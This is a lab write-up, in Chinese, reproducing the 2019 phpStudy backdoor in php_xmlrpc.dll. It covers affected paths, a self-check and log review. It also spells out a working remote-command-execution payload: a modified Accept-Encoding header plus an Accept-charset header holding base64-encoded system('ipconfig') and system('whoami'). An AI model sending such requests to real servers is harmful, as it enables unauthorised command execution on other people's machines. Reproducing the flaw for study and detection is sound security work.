phpStudy backdoor 2019后门漏洞复现过程记录

1、受影响版本及路径:

phpStudy2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

2、环境准备:

phpStudy2018下载链接:百度网盘 请输入提取码 提取码:nlnq

部署在win10虚拟机里,解压后运行后访问localhost/phpinfo.php即成功安装

3、自查是否存在后门漏洞:

1)可以通过查看路径为PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll的文件,查找到@eval(%s('%s'));代码

 2)查看php探针→PHP已编译模块检测,存在xmlrpc

 3)查看php.ini文件,检索到extension=php_xmlrpc.dll

 4)打开Burpsuite抓phpinfo.php页面的请求包,发送到Repeater重放器模块

Accept-Encoding:gzip,deflate 
#修改参数,gzip逗号后面默认有一个空格,需要删掉

Accept-charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
#添加字段Accept-charset,参数是经过base64编码后的需要执行的命令
此处为system('ipconfig');

Base64在线编码/解码网站:Base64 编码/解码 | 菜鸟工具

Accept-Encoding:gzip,deflate 

Accept-charset:c3lzdGVtKCd3aG9hbWknKTs= 
#此处为system('whoami');

复现成功

(4、 查看Apache的access.log日志:)

默认是没有的,可以通过修改httpd-conf文件来打开:

具体就是找到access.log字符这一行,将注释符删掉,保存后再重启phpstudy服务

根据以下步骤就可以看到access.log

  

可以看到我们bp发送请求的包被记录下来了

 参考文章:

Apache logs目录下找不见access.log文件解决办法_RuoLi_s的博客-CSDN博客

​​​​​​​phpStudy后门漏洞复现 | LuckySec